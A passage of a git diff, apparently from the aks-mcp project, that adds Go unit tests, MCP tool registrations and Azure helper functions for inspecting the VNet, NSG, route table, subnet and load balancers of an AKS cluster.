"sub-123", + "resource_group": "rg-test", + "cluster_name": "cluster-test", + }, + expectedSubID: "sub-123", + expectedRG: "rg-test", + expectedCluster: "cluster-test", + expectError: false, + }, + { + name: "missing subscription_id", + params: map[string]interface{}{ + "resource_group": "rg-test", + "cluster_name": "cluster-test", + }, + expectError: true, + }, + { + name: "empty subscription_id", + params: map[string]interface{}{ + "subscription_id": "", + "resource_group": "rg-test", + "cluster_name": "cluster-test", + }, + expectError: true, + }, + { + name: "missing resource_group", + params: map[string]interface{}{ + "subscription_id": "sub-123", + "cluster_name": "cluster-test", + }, + expectError: true, + }, + { + name: "missing cluster_name", + params: map[string]interface{}{ + "subscription_id": "sub-123", + "resource_group": "rg-test", + }, + expectError: true, + }, + { + name: "invalid parameter types", + params: map[string]interface{}{ + "subscription_id": 123, + "resource_group": "rg-test", + "cluster_name": "cluster-test", + }, + expectError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + subID, rg, clusterName, err := ExtractAKSParameters(tt.params) + + if tt.expectError { + if err == nil { + t.Errorf("Expected error but got none") + } + } else { + if err != nil { + t.Errorf("Unexpected error: %v", err) + } + if subID != tt.expectedSubID { + t.Errorf("Expected subscription ID %s, got %s", tt.expectedSubID, subID) + } + if rg != tt.expectedRG { + t.Errorf("Expected resource group %s, got %s", tt.expectedRG, rg) + } + if clusterName != tt.expectedCluster { + t.Errorf("Expected cluster name %s, got %s", tt.expectedCluster, clusterName) + } + } + }) + } +} + +// TestGetLoadBalancersInfoHandler tests the load balancers info handler +func TestGetLoadBalancersInfoHandler(t *testing.T) { + t.Run("missing subscription_id parameter", func(t *testing.T) { + params := map[string]interface{}{ + "resource_group": "rg-test", + "cluster_name": "cluster-test", + } + + handler := GetLoadBalancersInfoHandler(nil, nil) + result, err := handler.Handle(params, nil) + + if err == nil { + t.Error("Expected error for missing subscription_id") + } + if result != "" { + t.Error("Expected empty result on error") + } + if err.Error() != "missing or invalid subscription_id parameter" { + t.Errorf("Expected 'missing or invalid subscription_id parameter' error, got %v", err) + } + }) + + t.Run("missing resource_group parameter", func(t *testing.T) { + params := map[string]interface{}{ + "subscription_id": "sub-123", + "cluster_name": "cluster-test", + } + + handler := GetLoadBalancersInfoHandler(nil, nil) + result, err := handler.Handle(params, nil) + + if err == nil { + t.Error("Expected error for missing resource_group") + } + if result != "" { + t.Error("Expected empty result on error") + } + if err.Error() != "missing or invalid resource_group parameter" { + t.Errorf("Expected 'missing or invalid resource_group parameter' error, got %v", err) + } + }) + + t.Run("missing cluster_name parameter", func(t *testing.T) { + params := map[string]interface{}{ + "subscription_id": "sub-123", + "resource_group": "rg-test", + } + + handler := GetLoadBalancersInfoHandler(nil, nil) + result, err := handler.Handle(params, nil) + + if err == nil { + t.Error("Expected error for missing cluster_name") + } + if result != "" { + t.Error("Expected empty result on error") + } + if err.Error() != "missing or invalid cluster_name parameter" { + t.Errorf("Expected 'missing or invalid cluster_name parameter' error, got %v", err) + } + }) + + t.Run("empty subscription_id parameter", func(t *testing.T) { + params := map[string]interface{}{ + "subscription_id": "", + "resource_group": "rg-test", + "cluster_name": "cluster-test", + } + + handler := GetLoadBalancersInfoHandler(nil, nil) + result, err := handler.Handle(params, nil) + + if err == nil { + t.Error("Expected error for empty subscription_id") + } + if result != "" { + t.Error("Expected empty result on error") + } + if err.Error() != "missing or invalid subscription_id parameter" { + t.Errorf("Expected 'missing or invalid subscription_id parameter' error, got %v", err) + } + }) + + t.Run("invalid parameter types", func(t *testing.T) { + params := map[string]interface{}{ + "subscription_id": 123, // Should be string + "resource_group": "rg-test", + "cluster_name": "cluster-test", + } + + handler := GetLoadBalancersInfoHandler(nil, nil) + result, err := handler.Handle(params, nil) + + if err == nil { + t.Error("Expected error for invalid parameter type") + } + if result != "" { + t.Error("Expected empty result on error") + } + if err.Error() != "missing or invalid subscription_id parameter" { + t.Errorf("Expected 'missing or invalid subscription_id parameter' error, got %v", err) + } + }) + + // Note: Testing with valid parameters and actual Azure client calls + // would require integration tests with mocked Azure services +} diff --git a/internal/components/network/registry.go b/internal/components/network/registry.go new file mode 100644 index 0000000..102eef6 --- /dev/null +++ b/internal/components/network/registry.go @@ -0,0 +1,107 @@ +package network + +import ( + "github.com/mark3labs/mcp-go/mcp" +) + +// Network-related tool registrations + +// RegisterVNetInfoTool registers the get_vnet_info tool +func RegisterVNetInfoTool() mcp.Tool { + return mcp.NewTool( + "get_vnet_info", + mcp.WithDescription("Get information about the VNet used by the AKS cluster"), + mcp.WithString("subscription_id", + mcp.Description("Azure Subscription ID"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Azure Resource Group containing the AKS cluster"), + mcp.Required(), + ), + mcp.WithString("cluster_name", + mcp.Description("Name of the AKS cluster"), + mcp.Required(), + ), + ) +} + +// RegisterNSGInfoTool registers the get_nsg_info tool +func RegisterNSGInfoTool() mcp.Tool { + return mcp.NewTool( + "get_nsg_info", + mcp.WithDescription("Get information about the Network Security Group used by the AKS cluster"), + mcp.WithString("subscription_id", + mcp.Description("Azure Subscription ID"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Azure Resource Group containing the AKS cluster"), + mcp.Required(), + ), + mcp.WithString("cluster_name", + mcp.Description("Name of the AKS cluster"), + mcp.Required(), + ), + ) +} + +// RegisterRouteTableInfoTool registers the get_route_table_info tool +func RegisterRouteTableInfoTool() mcp.Tool { + return mcp.NewTool( + "get_route_table_info", + mcp.WithDescription("Get information about the Route Table used by the AKS cluster"), + mcp.WithString("subscription_id", + mcp.Description("Azure Subscription ID"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Azure Resource Group containing the AKS cluster"), + mcp.Required(), + ), + mcp.WithString("cluster_name", + mcp.Description("Name of the AKS cluster"), + mcp.Required(), + ), + ) +} + +// RegisterSubnetInfoTool registers the get_subnet_info tool +func RegisterSubnetInfoTool() mcp.Tool { + return mcp.NewTool( + "get_subnet_info", + mcp.WithDescription("Get information about the Subnet used by the AKS cluster"), + mcp.WithString("subscription_id", + mcp.Description("Azure Subscription ID"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Azure Resource Group containing the AKS cluster"), + mcp.Required(), + ), + mcp.WithString("cluster_name", + mcp.Description("Name of the AKS cluster"), + mcp.Required(), + ), + ) +} + +// RegisterLoadBalancersInfoTool registers the get_load_balancers_info tool +func RegisterLoadBalancersInfoTool() mcp.Tool { + return mcp.NewTool( + "get_load_balancers_info", + mcp.WithDescription("Get information about all Load Balancers used by the AKS cluster (external and internal)"), + mcp.WithString("subscription_id", + mcp.Description("Azure Subscription ID"), + mcp.Required(), + ), + mcp.WithString("resource_group", + mcp.Description("Azure Resource Group containing the AKS cluster"), + mcp.Required(), + ), + mcp.WithString("cluster_name", + mcp.Description("Name of the AKS cluster"), + mcp.Required(), + ), + ) +} diff --git a/internal/components/network/registry_test.go b/internal/components/network/registry_test.go new file mode 100644 index 0000000..73a2132 --- /dev/null +++ b/internal/components/network/registry_test.go @@ -0,0 +1,100 @@ +package network + +import ( + "testing" + + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/aks-mcp/internal/config" +) + +func TestRegisterVNetInfoTool(t *testing.T) { + tool := RegisterVNetInfoTool() + + if tool.Name != "get_vnet_info" { + t.Errorf("Expected tool name 'get_vnet_info', got %s", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } +} + +func TestRegisterNSGInfoTool(t *testing.T) { + tool := RegisterNSGInfoTool() + + if tool.Name != "get_nsg_info" { + t.Errorf("Expected tool name 'get_nsg_info', got %s", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } +} + +func TestRegisterRouteTableInfoTool(t *testing.T) { + tool := RegisterRouteTableInfoTool() + + if tool.Name != "get_route_table_info" { + t.Errorf("Expected tool name 'get_route_table_info', got %s", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } +} + +func TestRegisterSubnetInfoTool(t *testing.T) { + tool := RegisterSubnetInfoTool() + + if tool.Name != "get_subnet_info" { + t.Errorf("Expected tool name 'get_subnet_info', got %s", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } +} + +func TestGetVNetInfoHandler(t *testing.T) { + mockClient := &azureclient.AzureClient{} + cfg := &config.ConfigData{} + + handler := GetVNetInfoHandler(mockClient, cfg) + + if handler == nil { + t.Error("Expected handler to be non-nil") + } +} + +func TestGetNSGInfoHandler(t *testing.T) { + mockClient := &azureclient.AzureClient{} + cfg := &config.ConfigData{} + + handler := GetNSGInfoHandler(mockClient, cfg) + + if handler == nil { + t.Error("Expected handler to be non-nil") + } +} + +func TestGetRouteTableInfoHandler(t *testing.T) { + mockClient := &azureclient.AzureClient{} + cfg := &config.ConfigData{} + + handler := GetRouteTableInfoHandler(mockClient, cfg) + + if handler == nil { + t.Error("Expected handler to be non-nil") + } +} + +func TestGetSubnetInfoHandler(t *testing.T) { + mockClient := &azureclient.AzureClient{} + cfg := &config.ConfigData{} + + handler := GetSubnetInfoHandler(mockClient, cfg) + + if handler == nil { + t.Error("Expected handler to be non-nil") + } +} diff --git a/internal/components/network/resourcehelpers/helpers_test.go b/internal/components/network/resourcehelpers/helpers_test.go new file mode 100644 index 0000000..7221826 --- /dev/null +++ b/internal/components/network/resourcehelpers/helpers_test.go @@ -0,0 +1,385 @@ +package resourcehelpers + +import ( + "context" + "testing" + + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" +) + +// TestGetVNetIDFromAKS tests the VNet ID extraction from an AKS cluster +func TestGetVNetIDFromAKS(t *testing.T) { + ctx := context.Background() + + t.Run("valid cluster with VnetSubnetID", func(t *testing.T) { + vnetSubnetID := "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet" + + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: &vnetSubnetID, + }, + }, + }, + } + + vnetID, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err != nil { + t.Fatalf("Expected no error, got %v", err) + } + + expectedVNetID := "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.Network/virtualNetworks/myVNet" + if vnetID != expectedVNetID { + t.Errorf("Expected VNet ID %s, got %s", expectedVNetID, vnetID) + } + }) + + t.Run("cluster with nil properties", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: nil, + } + + _, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil properties") + } + }) + + t.Run("cluster with nil agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: nil, + }, + } + + _, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil agent pool profiles") + } + }) + + t.Run("cluster with empty agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{}, + }, + } + + _, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with empty agent pool profiles") + } + }) + + t.Run("cluster with nil VnetSubnetID", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: nil, + }, + }, + }, + } + + _, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil VnetSubnetID") + } + }) + + t.Run("cluster with invalid subnet ID format", func(t *testing.T) { + invalidSubnetID := "invalid-subnet-id" + + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: &invalidSubnetID, + }, + }, + }, + } + + _, err := GetVNetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for invalid subnet ID format") + } + }) +} + +// TestGetSubnetIDFromAKS tests the subnet ID extraction from an AKS cluster +func TestGetSubnetIDFromAKS(t *testing.T) { + ctx := context.Background() + + t.Run("valid cluster with VnetSubnetID", func(t *testing.T) { + vnetSubnetID := "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet" + + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: &vnetSubnetID, + }, + }, + }, + } + + subnetID, err := GetSubnetIDFromAKS(ctx, cluster, nil) + if err != nil { + t.Fatalf("Expected no error, got %v", err) + } + + if subnetID != vnetSubnetID { + t.Errorf("Expected subnet ID %s, got %s", vnetSubnetID, subnetID) + } + }) + + t.Run("cluster with nil properties", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: nil, + } + + _, err := GetSubnetIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil properties") + } + }) +} + +// TestParseResourceID tests the resource ID parsing functionality +func TestParseResourceID(t *testing.T) { + t.Run("valid VNet resource ID", func(t *testing.T) { + resourceID := "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.Network/virtualNetworks/myVNet" + + parsedID, err := arm.ParseResourceID(resourceID) + if err != nil { + t.Fatalf("Expected no error, got %v", err) + } + + if parsedID.SubscriptionID != "12345678-1234-1234-1234-123456789012" { + t.Errorf("Expected subscription ID '12345678-1234-1234-1234-123456789012', got %s", parsedID.SubscriptionID) + } + + if parsedID.ResourceGroupName != "myRG" { + t.Errorf("Expected resource group 'myRG', got %s", parsedID.ResourceGroupName) + } + + if parsedID.Name != "myVNet" { + t.Errorf("Expected name 'myVNet', got %s", parsedID.Name) + } + + if parsedID.ResourceType.String() != "Microsoft.Network/virtualNetworks" { + t.Errorf("Expected resource type 'Microsoft.Network/virtualNetworks', got %s", parsedID.ResourceType.String()) + } + }) + + t.Run("valid subnet resource ID", func(t *testing.T) { + resourceID := "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet" + + parsedID, err := arm.ParseResourceID(resourceID) + if err != nil { + t.Fatalf("Expected no error, got %v", err) + } + + if parsedID.SubscriptionID != "12345678-1234-1234-1234-123456789012" { + t.Errorf("Expected subscription ID '12345678-1234-1234-1234-123456789012', got %s", parsedID.SubscriptionID) + } + + if parsedID.ResourceGroupName != "myRG" { + t.Errorf("Expected resource group 'myRG', got %s", parsedID.ResourceGroupName) + } + + if parsedID.Name != "mySubnet" { + t.Errorf("Expected name 'mySubnet', got %s", parsedID.Name) + } + + if parsedID.ResourceType.String() != "Microsoft.Network/virtualNetworks/subnets" { + t.Errorf("Expected resource type 'Microsoft.Network/virtualNetworks/subnets', got %s", parsedID.ResourceType.String()) + } + + if parsedID.Parent == nil { + t.Error("Expected parent to be set") + } else { + if parsedID.Parent.Name != "myVNet" { + t.Errorf("Expected parent name 'myVNet', got %s", parsedID.Parent.Name) + } + } + }) + + t.Run("invalid resource ID", func(t *testing.T) { + resourceID := "invalid-resource-id" + + _, err := arm.ParseResourceID(resourceID) + if err == nil { + t.Error("Expected error for invalid resource ID") + } + }) + + t.Run("empty resource ID", func(t *testing.T) { + resourceID := "" + + _, err := arm.ParseResourceID(resourceID) + if err == nil { + t.Error("Expected error for empty resource ID") + } + }) +} + +// TestGetRouteTableIDFromAKS tests the route table ID extraction from an AKS cluster +func TestGetRouteTableIDFromAKS(t *testing.T) { + ctx := context.Background() + + t.Run("cluster with nil properties", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: nil, + } + + _, err := GetRouteTableIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil properties") + } + }) + + t.Run("cluster with nil agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: nil, + }, + } + + _, err := GetRouteTableIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil agent pool profiles") + } + }) + + t.Run("cluster with empty agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{}, + }, + } + + _, err := GetRouteTableIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with empty agent pool profiles") + } + }) + + t.Run("cluster with nil VnetSubnetID", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: nil, + }, + }, + }, + } + + _, err := GetRouteTableIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil VnetSubnetID") + } + }) + + t.Run("cluster with invalid subnet ID format", func(t *testing.T) { + invalidSubnetID := "invalid-subnet-id" + + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: &invalidSubnetID, + }, + }, + }, + } + + _, err := GetRouteTableIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for invalid subnet ID format") + } + }) +} + +// TestGetNSGIDFromAKS tests the NSG ID extraction from an AKS cluster +func TestGetNSGIDFromAKS(t *testing.T) { + ctx := context.Background() + + t.Run("cluster with nil properties", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: nil, + } + + _, err := GetNSGIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil properties") + } + }) + + t.Run("cluster with nil agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: nil, + }, + } + + _, err := GetNSGIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil agent pool profiles") + } + }) + + t.Run("cluster with empty agent pool profiles", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{}, + }, + } + + _, err := GetNSGIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with empty agent pool profiles") + } + }) + + t.Run("cluster with nil VnetSubnetID", func(t *testing.T) { + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: nil, + }, + }, + }, + } + + _, err := GetNSGIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for cluster with nil VnetSubnetID") + } + }) + + t.Run("cluster with invalid subnet ID format", func(t *testing.T) { + invalidSubnetID := "invalid-subnet-id" + + cluster := &armcontainerservice.ManagedCluster{ + Properties: &armcontainerservice.ManagedClusterProperties{ + AgentPoolProfiles: []*armcontainerservice.ManagedClusterAgentPoolProfile{ + { + VnetSubnetID: &invalidSubnetID, + }, + }, + }, + } + + _, err := GetNSGIDFromAKS(ctx, cluster, nil) + if err == nil { + t.Error("Expected error for invalid subnet ID format") + } + }) +} diff --git a/internal/components/network/resourcehelpers/loadbalancerhelpers.go b/internal/components/network/resourcehelpers/loadbalancerhelpers.go new file mode 100644 index 0000000..e1e1ee0 --- /dev/null +++ b/internal/components/network/resourcehelpers/loadbalancerhelpers.go @@ -0,0 +1,83 @@ +package resourcehelpers + +import ( + "context" + "fmt" + + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" +) + +// GetLoadBalancerIDsFromAKS extracts all load balancer IDs from an AKS cluster. +// It looks for load balancers in the node resource group that match the AKS cluster +// naming convention. AKS clusters can have multiple load balancers (e.g., kubernetes, kubernetes-internal). +func GetLoadBalancerIDsFromAKS( + ctx context.Context, + cluster *armcontainerservice.ManagedCluster, + client *azureclient.AzureClient, +) ([]string, error) { + // Ensure the cluster is valid + if cluster == nil || cluster.Properties == nil { + return nil, fmt.Errorf("invalid cluster or cluster properties") + } + + // Get subscription ID and node resource group + subscriptionID := getSubscriptionFromCluster(cluster) + if subscriptionID == "" { + return nil, fmt.Errorf("unable to extract subscription ID from cluster") + } + if cluster.Properties.NodeResourceGroup == nil { + return nil, fmt.Errorf("node resource group not found for AKS cluster") + } + nodeResourceGroup := *cluster.Properties.NodeResourceGroup + + // Look for load balancers in the node resource group + return findLoadBalancersInNodeResourceGroup(ctx, client, subscriptionID, nodeResourceGroup) +} + +// findLoadBalancersInNodeResourceGroup looks for all load balancers in the node resource group +// that follow AKS naming conventions. AKS typically creates load balancers with names: +// - kubernetes (for the main external load balancer) +// - kubernetes-internal (for internal load balancer) +func findLoadBalancersInNodeResourceGroup( + ctx context.Context, + client *azureclient.AzureClient, + subscriptionID string, + nodeResourceGroup string, +) ([]string, error) { + // Get clients for the subscription + clients, err := client.GetOrCreateClientsForSubscription(subscriptionID) + if err != nil { + return nil, fmt.Errorf("failed to get clients for subscription %s: %v", subscriptionID, err) + } + + var loadBalancerIDs []string + + // List load balancers in the node resource group + pager := clients.LoadBalancerClient.NewListPager(nodeResourceGroup, nil) + for pager.More() { + page, err := pager.NextPage(ctx) + if err != nil { + return nil, fmt.Errorf("failed to list load balancers in resource group %s: %v", nodeResourceGroup, err) + } + + for _, lb := range page.Value { + if lb.Name != nil && lb.ID != nil { + lbName := *lb.Name + lbID := *lb.ID + + // Only check for standard AKS load balancer names + if lbName == "kubernetes" || lbName == "kubernetes-internal" { + loadBalancerIDs = append(loadBalancerIDs, lbID) + } + } + } + } + + // If no standard AKS load balancers found, return empty slice + if len(loadBalancerIDs) == 0 { + return []string{}, nil + } + + return loadBalancerIDs, nil +} diff --git a/internal/components/network/resourcehelpers/loadbalancerhelpers_test.go b/internal/components/network/resourcehelpers/loadbalancerhelpers_test.go new file mode 100644 index 0000000..7bc4e84 --- /dev/null +++ b/internal/components/network/resourcehelpers/loadbalancerhelpers_test.go @@ -0,0 +1,212 @@ +package resourcehelpers + +import ( + "context" + "testing" + + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" +) + +// Test cases for load balancer helper functions +func TestGetLoadBalancerIDsFromAKS_Comprehensive(t *testing.T) { + ctx := context.Background() + + testCases := []struct { + name string + cluster *armcontainerservice.ManagedCluster + expectedError string + expectSuccess bool + }{ + { + name: "nil cluster", + cluster: nil, + expectedError: "invalid cluster or cluster properties", + expectSuccess: false, + }, + { + name: "cluster with nil properties", + cluster: &armcontainerservice.ManagedCluster{ + Properties: nil, + }, + expectedError: "invalid cluster or cluster properties", + expectSuccess: false, + }, + { + name: "cluster with nil ID", + cluster: &armcontainerservice.ManagedCluster{ + ID: nil, + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: stringPtr("MC_myRG_myCluster_eastus"), + }, + }, + expectedError: "unable to extract subscription ID from cluster", + expectSuccess: false, + }, + { + name: "cluster with malformed ID", + cluster: &armcontainerservice.ManagedCluster{ + ID: stringPtr("invalid-cluster-id"), + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: stringPtr("MC_myRG_myCluster_eastus"), + }, + }, + expectedError: "unable to extract subscription ID from cluster", + expectSuccess: false, + }, + { + name: "cluster with nil node resource group", + cluster: &armcontainerservice.ManagedCluster{ + ID: stringPtr("/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.ContainerService/managedClusters/myCluster"), + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: nil, + }, + }, + expectedError: "node resource group not found for AKS cluster", + expectSuccess: false, + }, + { + name: "cluster with empty node resource group", + cluster: &armcontainerservice.ManagedCluster{ + ID: stringPtr("/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.ContainerService/managedClusters/myCluster"), + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: stringPtr(""), + }, + }, + expectedError: "", // Will fail later in the process, not in validation + expectSuccess: false, + }, + { + name: "valid cluster with node resource group", + cluster: &armcontainerservice.ManagedCluster{ + ID: stringPtr("/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.ContainerService/managedClusters/myCluster"), + Name: stringPtr("myCluster"), + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: stringPtr("MC_myRG_myCluster_eastus"), + }, + }, + expectedError: "", // Will fail due to nil client, but validation should pass + expectSuccess: false, + }, + { + name: "valid cluster without cluster name", + cluster: &armcontainerservice.ManagedCluster{ + ID: stringPtr("/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.ContainerService/managedClusters/myCluster"), + Name: nil, // No cluster name + Properties: &armcontainerservice.ManagedClusterProperties{ + NodeResourceGroup: stringPtr("MC_myRG_myCluster_eastus"), + }, + }, + expectedError: "", // Will fail due to nil client, but validation should pass + expectSuccess: false, + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + // Skip tests that would require a real Azure client to avoid panics + if tc.cluster != nil && tc.cluster.Properties != nil && tc.cluster.Properties.NodeResourceGroup != nil { + if tc.expectedError == "" { // These are the "valid" cases that would call Azure APIs + t.Skip("Skipping test that requires Azure client - would be covered by integration tests") + return + } + } + + result, err := GetLoadBalancerIDsFromAKS(ctx, tc.cluster, nil) + + if tc.expectedError != "" { + if err == nil { + t.Errorf("Expected error containing '%s', but got no error", tc.expectedError) + return + } + if err.Error() != tc.expectedError { + t.Errorf("Expected error '%s', got '%s'", tc.expectedError, err.Error()) + return + } + } + + if tc.expectSuccess { + if err != nil { + t.Errorf("Expected success, but got error: %v", err) + return + } + if result == nil { + t.Error("Expected non-nil result for successful call") + } + } else { + // For cases where we expect failure (due to nil client or other reasons) + if err == nil && len(result) > 0 { + t.Error("Expected failure or empty result, but got success") + } + } + }) + } +} + +// Test the getSubscriptionFromCluster helper function indirectly +func TestGetLoadBalancerIDsFromAKS_SubscriptionExtraction(t *testing.T) { + testCases := []struct { + name string + clusterID string + expectErr bool + }{ + { + name: "valid cluster ID", + clusterID: "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myRG/providers/Microsoft.ContainerService/managedClusters/myCluster", + expectErr: false, // Will fail later due to nil client, not subscription extraction + }, + { + name: "invalid cluster ID format", + clusterID: "invalid-id", + expectErr: false, // getSubscriptionFromCluster handles this gracefully + }, + { + name: "empty cluster ID", + clusterID: "", + expectErr: false, // getSubscriptionFromCluster handles this gracefully + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + // Skip this test as it requires Azure client interaction + t.Skip("Skipping subscription extraction test - would be covered by integration tests") + }) + } +} + +// Test edge cases for cluster name handling +func TestGetLoadBalancerIDsFromAKS_ClusterNameHandling(t *testing.T) { + testCases := []struct { + name string + clusterName *string + description string + }{ + { + name: "cluster with name", + clusterName: stringPtr("my-test-cluster"), + description: "Normal cluster with name", + }, + { + name: "cluster with empty name", + clusterName: stringPtr(""), + description: "Cluster with empty string name", + }, + { + name: "cluster with nil name", + clusterName: nil, + description: "Cluster with nil name pointer", + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + // Skip this test as it requires Azure client interaction + t.Skip("Skipping cluster name handling test - would be covered by integration tests") + }) + } +} + +// Helper function to create string pointers +func stringPtr(s string) *string { + return &s +} diff --git a/internal/azure/resourcehelpers/nsghelpers.go b/internal/components/network/resourcehelpers/nsghelpers.go similarity index 72% rename from internal/azure/resourcehelpers/nsghelpers.go rename to internal/components/network/resourcehelpers/nsghelpers.go index 7324c04..e8d12da 100644 --- a/internal/azure/resourcehelpers/nsghelpers.go +++ b/internal/components/network/resourcehelpers/nsghelpers.go @@ -1,12 +1,12 @@ -// Package resourcehelpers provides helper functions for working with Azure resources in AKS MCP server. package resourcehelpers import ( "context" "fmt" + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" - "github.com/azure/aks-mcp/internal/azure" ) // GetNSGIDFromAKS attempts to find a network security group associated with an AKS cluster. @@ -15,8 +15,7 @@ import ( func GetNSGIDFromAKS( ctx context.Context, cluster *armcontainerservice.ManagedCluster, - client *azure.AzureClient, - cache *azure.AzureCache, + client *azureclient.AzureClient, ) (string, error) { // Ensure the cluster is valid if cluster == nil || cluster.Properties == nil { @@ -24,34 +23,34 @@ func GetNSGIDFromAKS( } // Get subnet ID using the helper function which handles cases when VnetSubnetID is not set - subnetID, err := 